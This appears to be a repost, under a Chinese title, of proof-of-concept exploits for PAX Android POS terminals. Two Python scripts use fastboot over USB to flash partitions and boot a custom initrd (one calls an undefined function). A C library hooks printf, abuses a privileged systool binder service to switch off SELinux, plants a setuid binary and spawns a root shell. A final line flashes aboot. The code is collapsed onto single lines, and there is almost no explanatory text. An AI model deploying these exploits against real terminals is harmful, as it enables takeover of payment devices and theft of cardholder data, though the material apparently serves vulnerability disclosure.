PAX Technology在基于 Android 的 POS 终端机中发现的漏洞

from pathlib import Pathimport sysimport tempfilefrom contextlib import contextmanagerfrom usb1 import USBContext, USBError, USBDeviceHandle# these 4 values may need to be changed on per-product basis:PAX_VID = 0x2fb8PAX_PID = 0x2240ep_in = 0x85ep_out = 0x06# we assume this will be used only after open_fastbootg_handle: USBDeviceHandle = None  # type: ignoredef send(bytez: bytes) -> None:    print(f"Sending {len(bytez)} {bytez[:0x18]}...")    g_handle.bulkWrite(ep_out, bytez)def recv(count: int = 512) -> bytes:    data = g_handle.bulkRead(ep_in, count)    print("Got status", data)    return datadef cmd(data: bytes) -> bytes:    send(data)    return recv()def check_status(expected, received):    if received != expected:        raise RuntimeError(f"Expected status {expected}, got, {received}")@contextmanagerdef open_fastboot(*args, **kwargs):    with USBContext() as ctx:        device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID)        if device is None:            print("Device not found")            exit(1)        try:            global g_handle            g_handle = device.open()        except USBError:            print("Failed to open USB device")            exit(1)        with g_handle.claimInterface(0):            yielddef upload_image(path: Path) -> None:    total_size = path.stat().st_size    send(f"download:{total_size:08x}".encode())    response = recv()    check_status(b"DATA", response[:4])    with open(path, "rb") as file:        while True:            data = file.read(512)            if not data:                break            send(data)    response = recv()    check_status(b"OKAY", response)def flash(partition_name: str) -> None:    check_status(b"OKAY", cmd(f"flash:{partition_name}".encode()))def upload_data(bytez: bytes) -> None:    # yes, I know this could be done better but I'm too lazy    with tempfile.NamedTemporaryFile() as tmp:        tmp.write(bytez)        tmp.flush()        upload_image(Path(tmp.name))if __name__ == "__main__":    if len(sys.argv) != 2:        print("invalid number of parameters, please provide image")        sys.exit(1)    initrd_image = Path(sys.argv[1])    initrd_size = initrd_image.stat().st_size    with open_fastboot():        print("enabling paxassert")        upload_data(b"yesx00")        check_status(cmd(b"oem paxassert"), b"OKAY")        print("pushing pax1 partition")        upload_data(f'LOCALE="pl-PL initrd=0x82000000,{initrd_size}"'.encode())        print("flashing pax1")        flash("pax1")        print("pushing initrd")        upload_image(initrd_image)        check_status(b"OKAY", cmd(b"continue"))

from pathlib import Pathimport sysimport tempfilefrom contextlib import contextmanagerfrom usb1 import USBContext, USBError, USBDeviceHandle# these 4 values may need to be changed on per-product basis:PAX_VID = 0x2fb8PAX_PID = 0x2240ep_in = 0x85ep_out = 0x06# we assume this will be used only after open_fastbootg_handle: USBDeviceHandle = None  # type: ignoredef send(bytez: bytes) -> None:    print(f"Sending {len(bytez)} {bytez[:0x18]}...")    g_handle.bulkWrite(ep_out, bytez)def recv(count: int = 512) -> bytes:    data = g_handle.bulkRead(ep_in, count)    print("Got status", data)return datadef cmd(data: bytes) -> bytes:    send(data)return recv()def check_status(expected, received):if received != expected:raise RuntimeError(f"Expected status {expected}, got, {received}")@contextmanagerdef open_fastboot(*args, **kwargs):with USBContext() as ctx:        device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID)if device is None:            print("Device not found")            exit(1)try:global g_handle            g_handle = device.open()except USBError:            print("Failed to open USB device")            exit(1)with g_handle.claimInterface(0):yielddef upload_image(path: Path) -> None:    total_size = path.stat().st_size    send(f"download:{total_size:08x}".encode())    response = recv()    check_status(b"DATA", response[:4])with open(path, "rb") as file:while True:            data = file.read(512)if not data:break            send(data)    response = recv()    check_status(b"OKAY", response)def flash(partition_name: str) -> None:    check_status(b"OKAY", cmd(f"flash:{partition_name}".encode()))def upload_data(bytez: bytes) -> None:# yes, I know this could be done better but I'm too lazywith tempfile.NamedTemporaryFile() as tmp:        tmp.write(bytez)        tmp.flush()        upload_image(Path(tmp.name))if __name__ == "__main__":if len(sys.argv) != 2:        print("invalid number of parameters, please provide image")        sys.exit(1)    initrd_image = Path(sys.argv[1])    initrd_size = initrd_image.stat().st_sizewith open_fastboot():        exsn = get_exsn()        initrd_size = initrd_image.stat().st_size        exsn_data = exsn + b" initrd=0x82000000," + str(int(initrd_size)).encode()        print("exsn_data:", exsn_data)        print("pushing exsn")        upload_data(exsn_data)        print("flashing exsn")        flash("exsn")        print("pushing initrd")        upload_image(initrd_image)        check_status(b"OKAY", cmd(b"continue"))

#include <errno.h>#include <fcntl.h>#include <inttypes.h>#include <stdlib.h>#include <string.h>#include <stdio.h>#include <dlfcn.h>#include <unistd.h>#include "binder.h"struct binder_state *g_binder_state;uint32_t target;int binder_init() {struct binder_state* bs;    bs = binder_open(128*1024);if (!bs) {fprintf(stderr, "failed to open binder drivern");return -1;    }char b[0x200];struct binder_io a;struct binder_io c;    bio_init(&a, &b, 0x200, 4);    bio_put_uint32(&a, 0);    bio_put_string16_x(&a, "android.os.IServiceManager");    bio_put_string16_x(&a, "systool_binder");int status = binder_call(bs, &a, &c, 0, 2);if (status == 0) {int status2 = bio_get_ref(&c);if (status2 != 0) {            target = status2;            binder_acquire(bs, status2);        }        binder_done(bs, &a, &c);    }    g_binder_state = bs;return 0;}void systoolExecShellCmdV2(char* src) {struct binder_io msg;struct binder_io reply;char buf[0x200];    bio_init(&msg, buf, 0x200, 4);    bio_put_uint32(&msg, 0);    bio_put_string16_x(&msg, "SystoolBinder");    bio_put_uint32(&msg, 3); // cmd    bio_put_uint32(&msg, 1); // subcmd    bio_put_uint32(&msg, 1); // num arguments    bio_put_string16_x(&msg, src);int status = binder_call(g_binder_state, &msg, &reply, target, 18);if (status == 0) {int ret1 = bio_get_uint32(&reply);int ret2 = bio_get_uint32(&reply);        binder_done(g_binder_state, &msg, &reply);printf("ExecShellCmdV2: ret1=%d ret2=%dn", ret1, ret2);    }}int executed = 0;int printf(const char* __fmt, ...) {if (executed)return 0;    executed = 1;pid_t pid = getpid();fprintf(stderr, "[*] Hello from PID %dn", pid);char linkbuf[0x100];    readlink("/proc/self/exe", linkbuf, 0x100);fprintf(stderr, "[*] /proc/self/exe is pointing at %sn", linkbuf);    binder_init();// prep    system("rm /tmp/monitor.bin");fprintf(stderr, "[*] disabling fs selinuxn");    system("ln -s /sys/fs/selinux/enforce /tmp/monitor.bin");    system("echo -n '0' > /data/local/tmp/zero");    systoolExecShellCmdV2("/data/local/tmp/zero");// cleanup    system("rm /data/local/tmp/zero");    system("rm /tmp/monitor.bin");fprintf(stderr, "[*] setting up suidn");    system("chmod +s /data/local/tmp/escalate");fprintf(stderr, "[*] copying suid to /mntn");    system("ln -s /mnt/escalate /tmp/monitor.bin");    systoolExecShellCmdV2("/data/local/tmp/escalate");// cleanup    system("rm /tmp/monitor.bin");fprintf(stderr, "[*] spawning shelln");    execve("/mnt/escalate", NULL, NULL);return 0;}

fastboot flash 'aboot:' aboot.img